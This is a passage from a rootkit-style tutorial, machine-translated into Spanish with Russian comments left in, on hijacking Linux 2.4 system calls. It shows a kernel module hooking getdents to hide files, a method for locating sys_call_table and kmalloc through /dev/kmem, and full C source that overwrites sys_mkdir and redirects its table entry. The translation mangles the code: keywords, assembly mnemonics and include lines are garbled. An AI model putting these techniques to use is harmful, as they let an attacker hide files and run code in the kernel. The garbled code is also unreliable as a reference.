nuestro archivo */ while (t >0) ( /* Leer la longitud de la primera entrada y determinar la longitud restante de las entradas en el directorio */ n = dirp3->d_reclen; t -= n; /* Comprobar si el nombre de archivo de la entrada actual coincide con el estamos buscando */ if (strstr((char *)&(dirp3->d_name), (char *)&hide) != NULL) ( /* Si es así, sobrescriba la entrada y calcule un nuevo valor para la longitud de las entradas en el directorio */ memcpy(dirp3, (char *)dirp3+dirp3->d_reclen, t) ; tmp-=n; ) /* Coloque el puntero en la siguiente entrada y continúe buscando */ dirp3 = (struct dirent64 *)((char *)dirp3+dirp3->d_reclen); ) /* Devuelve el resultado y libera memoria */ copy_to_user(dirp,dirp2,tmp); libre(dirp2); ) /* Devuelve el valor de la longitud de las entradas en el directorio */ return tmp; ) /* Las funciones de inicialización y descarga del módulo tienen una forma estándar */ int init_module(void) ( orig_getdents = sys_call_table; sys_call_table=own_getdents; return 0; ) void cleanup_module() ( sys_call_table=orig_getdents; ) /* EOF */ Después de compilar esto código, observe cómo desaparece "file1", que es lo que queríamos probar.

5. Método de acceso directo al espacio de direcciones del núcleo /dev/kmem

Primero consideremos teóricamente cómo se lleva a cabo la intercepción por el método de acceso directo al espacio de direcciones del núcleo, y luego procedamos a la implementación práctica.

El archivo de dispositivo /dev/kmem proporciona acceso directo al espacio de direcciones del núcleo. Este archivo muestra todo el espacio de direcciones virtuales disponible, incluida la partición de intercambio (área de intercambio). Para trabajar con un archivo kmem, se utilizan funciones estándar del sistema: abrir (), leer (), escribir (). Al abrir /dev/kmem de la manera estándar, podemos referirnos a cualquier dirección en el sistema configurándola como un desplazamiento en este archivo. Este método fue desarrollado por Silvio Cesare.

Se accede a las funciones del sistema cargando los parámetros de función en los registros del procesador y luego llamando a la interrupción de software 0x80. El controlador de esta interrupción, la función system_call, inserta los parámetros de la llamada en la pila, recupera la dirección de la función del sistema llamada de la tabla sys_call_table y transfiere el control a esa dirección.

Con acceso completo al espacio de direcciones del kernel, podemos obtener todo el contenido de la tabla de llamadas del sistema, es decir direcciones de todas las funciones del sistema. Al cambiar la dirección de cualquier llamada al sistema, la interceptamos. Pero para esto necesita saber la dirección de la tabla o, en otras palabras, el desplazamiento en el archivo /dev/kmem en el que se encuentra esta tabla.

Para determinar la dirección de la tabla sys_call_table, primero debe calcular la dirección de la función system_call. Dado que esta función es un controlador de interrupciones, veamos cómo se manejan las interrupciones en modo protegido.

En modo real, al registrar una interrupción, el procesador accede a la tabla de vectores de interrupción, que siempre se encuentra al principio de la memoria y contiene direcciones de dos palabras de los controladores de interrupción. En modo protegido, el análogo de la tabla de vectores de interrupción es la Tabla de descriptores de interrupción (IDT), ubicada en el sistema operativo en modo protegido. Para que el procesador acceda a esta tabla, su dirección debe cargarse en el registro de la tabla de descriptores de interrupción (IDTR). La tabla IDT contiene descriptores de manejadores de interrupciones que, en particular, incluyen sus direcciones. Estos descriptores se denominan pasarelas (gates). El procesador, habiendo registrado una interrupción, recupera la puerta de enlace del IDT por su número, determina la dirección del controlador y le transfiere el control.

Para calcular la dirección de la función system_call de la tabla IDT, es necesario extraer la puerta de interrupción int $0x80, y de ella la dirección del controlador correspondiente, es decir dirección de la función system_call. En la función system_call, se accede a la tabla system_call_table mediante el comando call<адрес_таблицы>(,%eax,4). Habiendo encontrado el código de operación (firma) de este comando en el archivo /dev/kmem, también encontraremos la dirección de la tabla de llamadas del sistema.

Para determinar el código de operación, usemos el depurador y desmontemos la función system_call:

# gdb -q /usr/src/linux/vmlinux (gdb) disas system_call Volcado del código ensamblador para la función system_call: 0xc0194cbc : empuje %eax 0xc0194cbd : cld 0xc0194cbe : empuje %es 0xc0194cbf : empujar %ds 0xc0194cc0 : empuje %eax 0xc0194cc1 : empuje %ebp 0xc0194cc2 : empuje %edi 0xc0194cc3 : empuje %esi 0xc0194cc4 : empuje %edx 0xc0194cc5 : empuje %ecx 0xc0194cc6 : empuje %ebx 0xc0194cc7 : mover $0x18,% edx 0xc0194ccc : mover %edx,%ds 0xc0194cce : mover %edx,%es 0xc0194cd0 : mover $0xffffe000,%ebx 0xc0194cd5 : y %esp,%ebx 0xc0194cd7 : pruebab $0x2.0x18(%ebx) 0xc0194cdb : jne 0xc0194d3c 0xc0194cdd : cmp $0x10e,%eax 0xc0194ce2 : jae 0xc0194d69 0xc0194ce8 : llamada *0xc02cbb0c(,%eax,4) 0xc0194cef : mov %eax,0x18(%esp,1) 0xc0194cf3 : nop Fin del volcado del ensamblador. La línea "call *0xc02cbb0c(,%eax,4)" es una llamada a la tabla sys_call_table. El valor 0xc02cbb0c es la dirección de la tabla (lo más probable es que sus números sean diferentes). Obtenga el código de operación de este comando: (gdb) x/xw system_call+44 0xc0194ce8 : 0x0c8514ff Hemos encontrado el código de operación del comando sys_call_table. Es igual a \xff\x14\x85. Los 4 bytes que le siguen son la dirección de la tabla. Puede verificar esto ingresando el comando: (gdb) x/xw system_call+44+3 0xc0194ceb : 0xc02cbb0c Así, encontrando la secuencia \xff\x14\x85 en el archivo /dev/kmem y leyendo los 4 bytes que le siguen, obtenemos la dirección de la tabla de llamadas al sistema sys_call_table. Conociendo su dirección, podemos obtener el contenido de esta tabla (las direcciones de todas las funciones del sistema) y cambiar la dirección de cualquier llamada al sistema al interceptarla.

Considere el pseudocódigo que realiza la operación de interceptación:

readaddr(old_syscall, scr + SYS_CALL*4, 4); writeaddr(nueva_llamada al sistema, scr + SYS_CALL*4, 4); La función readaddr lee la dirección de llamada del sistema de la tabla de llamadas del sistema y la almacena en la variable old_syscall. Cada entrada en la tabla sys_call_table ocupa 4 bytes. La dirección requerida se encuentra en el desplazamiento sct + SYS_CALL*4 en el archivo /dev/kmem (aquí sct es la dirección de la tabla sys_call_table, SYS_CALL es el número de serie de la llamada al sistema). La función writeaddr sobrescribe la dirección de la llamada al sistema SYS_CALL con la dirección de la función new_syscall y todas las llamadas a la llamada al sistema SYS_CALL serán atendidas por esta función.

Parece que todo es sencillo y el objetivo está conseguido. Sin embargo, recordemos que estamos trabajando en el espacio de direcciones del usuario. Si colocamos una nueva función del sistema en este espacio de direcciones, cuando llamemos a esta función, obtendremos un hermoso mensaje de error. De ahí la conclusión: se debe colocar una nueva llamada al sistema en el espacio de direcciones del kernel. Para hacer esto, necesita: obtener un bloque de memoria en el espacio del núcleo, colocar una nueva llamada al sistema en este bloque.

Puede asignar memoria en el espacio del kernel usando la función kmalloc. Pero no puede llamar directamente a una función del kernel desde el espacio de direcciones del usuario, por lo que usamos el siguiente algoritmo:

  • conociendo la dirección de la tabla sys_call_table, obtenemos la dirección de alguna llamada al sistema (por ejemplo, sys_mkdir)
  • definimos una función que realiza una llamada a la función kmalloc. Esta función devuelve un puntero a un bloque de memoria en el espacio de direcciones del núcleo. Llamemos a esta función get_kmalloc
  • almacenar los primeros N bytes de la llamada al sistema sys_mkdir, donde N es el tamaño de la función get_kmalloc
  • sobrescriba los primeros N bytes de la llamada sys_mkdir con la función get_kmalloc
  • ejecutamos la llamada a la llamada del sistema sys_mkdir, lanzando así la función get_kmalloc para su ejecución
  • restaurar los primeros N bytes de la llamada al sistema sys_mkdir
Como resultado, tendremos un bloque de memoria ubicado en el espacio del kernel.

Pero para implementar este algoritmo, necesitamos la dirección de la función kmalloc. Puedes encontrarlo de varias maneras. La más simple es leer esta dirección del archivo System.map o determinarla usando el depurador gdb (print &kmalloc). Si el kernel tiene habilitado el soporte de módulos, la dirección kmalloc se puede determinar usando la función get_kernel_syms(). Esta opción será discutida más adelante. Si no hay soporte para los módulos del kernel, entonces la dirección de la función kmalloc deberá buscarse mediante el código de operación del comando de llamada kmalloc, similar a lo que se hizo para la tabla sys_call_table.

La función kmalloc toma dos parámetros: el tamaño de la memoria solicitada y el especificador GFP. Para encontrar el código de operación, usaremos el depurador y desensamblaremos cualquier función del kernel que contenga una llamada a la función kmalloc.

# gdb -q /usr/src/linux/vmlinux (gdb) disas inter_module_register Volcado del código ensamblador para la función inter_module_register: 0xc01a57b4 : empuje %ebp 0xc01a57b5 : empuje %edi 0xc01a57b6 : empuje %esi 0xc01a57b7 : empuje %ebx 0xc01a57b8 : sub $0x10,%esp 0xc01a57bb : mov 0x24(%esp,1),%ebx 0xc01a57bf : mov 0x28(%esp,1),%esi 0xc01a57c3 : mov 0x2c(%esp,1),%ebp 0xc01a57c7 : movl $0x1f0,0x4(%esp,1) 0xc01a57cf : mover $0x14,(%esp,1) 0xc01a57d6 : llamar 0xc01bea2a ... No importa lo que haga la función, lo principal es lo que necesitamos: una llamada a la función kmalloc. Presta atención a las últimas líneas. Primero, los parámetros se cargan en la pila (el registro esp apunta a la parte superior de la pila), y luego sigue la llamada a la función. El especificador GFP se carga primero en la pila ($0x1f0,0x4(%esp,1). Para las versiones de kernel 2.4.9 y posteriores, este valor es 0x1f0. Busque el código de operación para este comando: (gdb) x/xw inter_module_register+ 19 0xc01a57c7 : 0x042444c7 Si encontramos este código de operación, podemos calcular la dirección de la función kmalloc. A primera vista, la dirección de esta función es un argumento de la instrucción de llamada, pero esto no es del todo cierto. A diferencia de la función system_call, aquí la instrucción no es la dirección kmalloc, sino el desplazamiento relativo a la dirección actual. Verificaremos esto definiendo el código de operación de la llamada de comando 0xc01bea2a: (gdb) x/xw inter_module_register+34 0xc01a57d6 : 0x01924fe8 El primer byte es e8, que es el código de operación de la instrucción de llamada. Encuentre el valor del argumento de este comando: (gdb) x/xw inter_module_register+35 0xc01a57d7 : 0x0001924f Ahora, si agregamos la dirección actual 0xc01a57d6, el desplazamiento 0x0001924f y 5 bytes del comando, obtenemos la dirección requerida de la función kmalloc: 0xc01bea2a.

Esto concluye los cálculos teóricos y, utilizando la técnica anterior, interceptaremos la llamada al sistema sys_mkdir.

6. Un ejemplo de intercepción usando /dev/kmem

/* fuente 6.0 */ #incluir #incluir #incluir #incluir #incluir #incluir #incluir #incluir /* Número de llamada del sistema para interceptar */ #define _SYS_MKDIR_ 39 #define KMEM_FILE "/dev/kmem" #define MAX_SYMS 4096 /* Descripción del formato de registro IDTR */ struct (límite corto sin firmar; base int sin firmar;) __attribute__ ((empaquetado) ) idtr; /* Descripción del formato de la puerta de interrupción de la tabla IDT */ struct ( sin signo corto off1; sin signo short sel; sin signo char none, flags; sin signo short off2; ) __attribute__ ((empaquetado)) idt; /* Descripción de la estructura de la función get_kmalloc */ struct kma_struc ( ulong (*kmalloc) (uint, int); // - dirección de la función kmalloc int size; // - tamaño de memoria para asignar banderas int; // - indicador, para kernels > 2.4.9 = 0x1f0 (GFP) ulong mem; ) __attribute__ ((empaquetado)) kmalloc; /* Una función que solo asigna un bloque de memoria en el espacio de direcciones del kernel */ int get_kmalloc(struct kma_struc *k) ( k->mem = k->kmalloc(k->size, k->flags); return 0 ; ) /* Función que devuelve la dirección de la función (necesaria para la búsqueda de kmalloc) */ ulong get_sym(char *n) ( struct kernel_sym tab; int numsyms; int i; numsyms = get_kernel_syms(NULL); if (numsyms > MAX_SYMS || numsyms< 0) return 0; get_kernel_syms(tab); for (i = 0; i < numsyms; i++) { if (!strncmp(n, tab[i].name, strlen(n))) return tab[i].value; } return 0; } /* Наша новая системная функция, ничего не делает;) */ int new_mkdir(const char *path) { return 0; } /* Читает из /dev/kmem с offset size данных в buf */ static inline int rkm(int fd, uint offset, void *buf, uint size) { if (lseek(fd, offset, 0) != offset){ printf("lseek err\n"); return 0; } if (read(fd, buf, size) != size) return 0; return size; } /* Аналогично, но только пишет в /dev/kmem */ static inline int wkm(int fd, uint offset, void *buf, uint size) { if (lseek(fd, offset, 0) != offset) return 0; if (write(fd, buf, size) != size) return 0; return size; } /* Читает из /dev/kmem данные размером 4 байта */ static inline int rkml(int fd, uint offset, ulong *buf) { return rkm(fd, offset, buf, sizeof(ulong)); } /* Аналогично, но только пишет */ static inline int wkml(int fd, uint offset, ulong buf) { return wkm(fd, offset, &buf, sizeof(ulong)); } /* Функция для получения адреса sys_call_table */ ulong get_sct(int kmem) { ulong sys_call_off; // - адрес обработчика // прерывания int $0x80 (функция system_call) char *p; char sc_asm; asm("sidt %0" : "=m" (idtr)); if (!rkm(kmem, idtr.base+(8*0x80), &idt, sizeof(idt))) return 0; sys_call_off = (idt.off2 << 16) | idt.off1; if (!rkm(kmem, sys_call_off, &sc_asm, 128)) return 0; p = (char *)memmem(sc_asm, 128, "\xff\x14\x85", 3) + 3; printf("call for sys_call_table at %08x\n",p); if (p) return *(ulong *)p; return 0; } /* Функция для определения адреса функции kmalloc */ ulong get_kma(ulong pgoff) { uint i; unsigned char buf, *p, *p1; int kmemz; ulong ret; ret = get_sym("kmalloc"); if (ret) { printf("\nZer gut!\n"); return ret; } kmemz = open("/dev/kmem", O_RDONLY); if (kmemz < 0) return 0; for (i = pgoff+0x100000; i < (pgoff + 0x1000000); i += 0x10000){ if (!rkm(kmemz, i, buf, sizeof(buf))) return 0; p1=(char *)memmem(buf,sizeof(buf),"\x68\xf0\x01\x00",4); if(p1) { p=(char *)memmem(p1+4,sizeof(buf),"\xe8",1)+1; if (p) { close(kmemz); return *(unsigned long *)p+i+(p-buf)+4; } } } close(kmemz); return 0; } int main() { int kmem; // !! - пустые, нужно подставить ulong get_kmalloc_size; // - размер функции get_kmalloc !! ulong get_kmalloc_addr; // - адрес функции get_kmalloc !! ulong new_mkdir_size; // - размер функции-перехватчика!! ulong new_mkdir_addr; // - адрес функции-перехватчика!! ulong sys_mkdir_addr; // - адрес системного вызова sys_mkdir ulong page_offset; // - нижняя граница адресного // пространства ядра ulong sct; // - адрес таблицы sys_call_table ulong kma; // - адрес функции kmalloc unsigned char tmp; kmem = open(KMEM_FILE, O_RDWR, 0); if (kmem < 0) return 0; sct = get_sct(kmem); page_offset = sct & 0xF0000000; kma = get_kma(page_offset); printf("OK\n" "page_offset\t\t:\t0x%08x\n" "sys_call_table\t:\t0x%08x\n" "kmalloc()\t\t:\t0x%08x\n", page_offset,sct,kma); /* Найдем адрес sys_mkdir */ if (!rkml(kmem, sct+(_SYS_MKDIR_*4), &sys_mkdir_addr)) { printf("Cannot get addr of %d syscall\n", _SYS_MKDIR_); perror("er: "); return 1; } /* Сохраним первые N байт вызова sys_mkdir */ if (!rkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) { printf("Cannot save old %d syscall!\n", _SYS_MKDIR_); return 1; } /* Перепишем первые N байт, функцией get_kmalloc */ if (!wkm(kmem, sys_mkdir_addr,(void *)get_kmalloc_addr, get_kmalloc_size)) { printf("Can"t overwrite our syscall %d!\n",_SYS_MKDIR_); return 1; } kmalloc.kmalloc = (void *) kma; //- адрес функции kmalloc kmalloc.size = new_mkdir_size; //- размер запращевоемой // памяти (размер функции-перехватчика new_mkdir) kmalloc.flags = 0x1f0; //- спецификатор GFP /* Выполним сис. вызов sys_mkdir, тем самым выполним нашу функцию get_kmalloc */ mkdir((char *)&kmalloc,0); /* Востановим оригинальный вызов sys_mkdir */ if (!wkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) { printf("Can"t restore syscall %d !\n",_SYS_MKDIR_); return 1; } if (kmalloc.mem < page_offset) { printf("Allocated memory is too low (%08x < %08x)\n", kmalloc.mem, page_offset); return 1; } /* Оторбразим результаты */ printf("sys_mkdir_addr\t\t:\t0x%08x\n" "get_kmalloc_size\t:\t0x%08x (%d bytes)\n\n" "our kmem region\t\t:\t0x%08x\n" "size of our kmem\t:\t0x%08x (%d bytes)\n\n", sys_mkdir_addr, get_kmalloc_size, get_kmalloc_size, kmalloc.mem, kmalloc.size, kmalloc.size); /* Разместим в пространстве ядра наш новый сис. вызво */ if(!wkm(kmem, kmalloc.mem, (void *)new_mkdir_addr, new_mkdir_size)) { printf("Unable to locate new system call !\n"); return 1; } /* Перепишем таблицу sys_call_table на наш новый вызов */ if(!wkml(kmem, sct+(_SYS_MKDIR_*4), kmalloc.mem)) { printf("Eh ..."); return 1; } return 1; } /* EOF */ Скомпилируем полученый код и определим адреса и размеры функций get_kmalloc и new_mkdir. Запускать полученое творение рано! Для вычисления адресов и размеров воспользуемся утилитой objdump: # gcc -o src-6.0 src-6.0.c # objdump -x ./src-6.0 >dump Abramos el archivo de volcado y busquemos los datos que nos interesan: 080485a4 g F .text 00000032 get_kmalloc 080486b1 g F .text 0000000a new_mkdir Ahora agreguemos estos valores a nuestro programa: ulong get_kmalloc_size=0x32; ulong get_kmalloc_addr=0x080485a4 ; ulong nuevo_mkdir_tamaño=0x0a; ulong new_mkdir_addr=0x080486b1; Ahora vamos a recompilar el programa. Habiéndolo lanzado para su ejecución, interceptaremos la llamada al sistema sys_mkdir. Todas las llamadas a sys_mkdir ahora serán manejadas por la función new_mkdir.

Fin del papel/EOP

El rendimiento del código de todas las secciones se probó en el kernel 2.4.22. Al preparar el informe, se utilizaron materiales del sitio.

¿Te gustó el artículo? Compártelo